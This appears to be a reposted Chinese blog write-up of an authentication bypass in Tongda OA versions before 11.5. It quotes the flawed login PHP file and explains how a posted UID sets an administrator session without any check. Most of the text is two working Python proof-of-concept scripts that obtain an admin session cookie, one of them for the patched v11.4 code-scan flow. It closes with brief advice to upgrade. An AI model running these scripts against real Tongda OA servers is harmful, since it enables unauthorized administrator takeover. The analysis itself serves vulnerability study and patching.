标签:enter wro config other int gets source redis from
版本 < v11.5 (截至目前最新版为11.5)
其中,v11.4版本添加了校验
logincheck_code.php文件
<?php
include_once "inc/session.php";
session_start();
ob_start();
include_once "inc/conn.php";
include_once "inc/td_core.php";
include_once "inc/utility.php";
include_once "inc/utility_cache.php";
include_once "inc/TRedis/TRedis.php";
$redis = TRedis::redis();
$UID = intval($_POST["UID"]);
$msg = "";
$PARA_ARRAY = get_sys_para("SEC_PASS_FLAG,SEC_PASS_TIME,SEC_RETRY_BAN,SEC_RETRY_TIMES,SEC_BAN_TIME,SEC_USER_MEM,SEC_KEY_USER,LOGIN_KEY,SEC_ON_STATUS,SEC_INIT_PASS,LOGIN_SECURE_KEY,LOGIN_USE_DOMAIN,DOMAIN_SYNC_CONFIG,ONE_USER_MUL_LOGIN,IS_CPDA_BYIP,USE_DISCUZ,OA_URL,WEBROOT,DEFAULT_ATTACH_PATH,MOBILE_PC_OPTION,TD_UNIQID");
while (list($PARA_NAME, $PARA_VALUE) = each($PARA_ARRAY)) {
$PARA_NAME = $PARA_VALUE;
}
$query = "SELECT * from USER where UID=‘$UID‘";
$cursor = exequery(TD::conn(), $query);
..........
if ($ROW = mysql_fetch_array($cursor)) {
$SECURE_KEY_SN = $ROW["SECURE_KEY_SN"];
$_SESSION["LOGIN_USER_NAME"] = $LOGIN_USER_NAME;
$_SESSION["LOGIN_USER_PRIV"] = $LOGIN_USER_PRIV;
$_SESSION["LOGIN_USER_PRIV_OTHER"] = $LOGIN_USER_PRIV_OTHER;
$_SESSION["LOGIN_SYS_ADMIN"] = (($LOGIN_USER_PRIV == "1") || find_id($LOGIN_USER_PRIV_OTHER, "1") ? 1 : 0);
$_SESSION["LOGIN_DEPT_ID"] = $LOGIN_DEPT_ID;
$_SESSION["LOGIN_DEPT_ID_OTHER"] = $LOGIN_DEPT_ID_OTHER;
$_SESSION["LOGIN_AVATAR"] = $LOGIN_AVATAR;
$_SESSION["LOGIN_THEME"] = $LOGIN_THEME;
$_SESSION["LOGIN_FUNC_STR"] = $LOGIN_FUNC_STR;
$_SESSION["LOGIN_NOT_VIEW_USER"] = $LOGIN_NOT_VIEW_USER;
$_SESSION["LOGIN_ANOTHER"] = $LOGIN_ANOTHER;
$_SESSION["LOGIN_DEPT_ID_JUNIOR"] = $LOGIN_DEPT_ID_JUNIOR;
$_SESSION["LOGIN_CLIENT"] = $LOGIN_CLIENT;
$_SESSION["LOGIN_USER_SEX"] = $LOGIN_USER_SEX;
第12行获取了UID参数,然后直接进行了20行的sql语句查询,没有对权限进行验证处理,在第180-196行就保存到了SESSION中
所以我们直接请求 logincheck_code.php 就能生成cookie储存到session中获得权限
下载有漏洞版本按照提示安装即可,访问本地localhost或者127.0.0.1出现以下页面为安装成功,默认admin用户无密码
像我上面那样post请求可以,用poc获取也可以
替换cookie后访问/general/index.php即可进入管理员账户
PoC
import requests
import json
headers={}
def getV11Session(url):
checkUrl = url+‘/general/login_code.php‘
print(checkUrl)
try:
headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
getSessUrl = url+‘/logincheck_code.php‘
res = requests.post(
getSessUrl, data={ ‘UID‘: int(1)},headers=headers)
print(‘[+]Get Available COOKIE:‘+res.headers[‘Set-Cookie‘])
except:
print(‘[-]Something Wrong With ‘+url)
if __name__ == "__main__":
getV11Session("http://192.168.223.134/")
这个版本在logincheck_code.php中加入了验证,增加了一个codeuid,获取codeuid添加到UID后步骤和前面的一样,这里我没有v11.4的环境,直接放poc吧
import json
import requests
def getSession(url):
vulUrl = url+‘/ispirit/login_code.php‘
res = requests.get(vulUrl)
codeuid = json.loads(res.text)[‘codeuid‘]
print(codeuid)
confirmUrl = url + ‘/general/login_code_scan.php‘
data = {
‘codeuid‘:codeuid,
‘uid‘: int(1),
‘source‘: ‘pc‘,
‘type‘: ‘confirm‘,
‘username‘: ‘admin‘,
}
res = requests.post(confirmUrl,data=data)
status = json.loads(res.text)[‘status‘]
print(status)
if status == str(1):
seesionUrl = url + ‘/ispirit/login_code_check.php?codeuid=‘+codeuid
res = requests.get(seesionUrl)
print(‘[*]cookie:‘+res.headers[‘Set-Cookie‘])
else:
print(‘[-]failed‘)
if __name__ == "__main__":
getSession(‘目标url‘)
升级到最新版
这里我试了一下添加访问控制,结果还是可以访问,还是升级最新版吧
标签:enter wro config other int gets source redis from
原文地址:https://www.cnblogs.com/drac4ry/p/12814562.html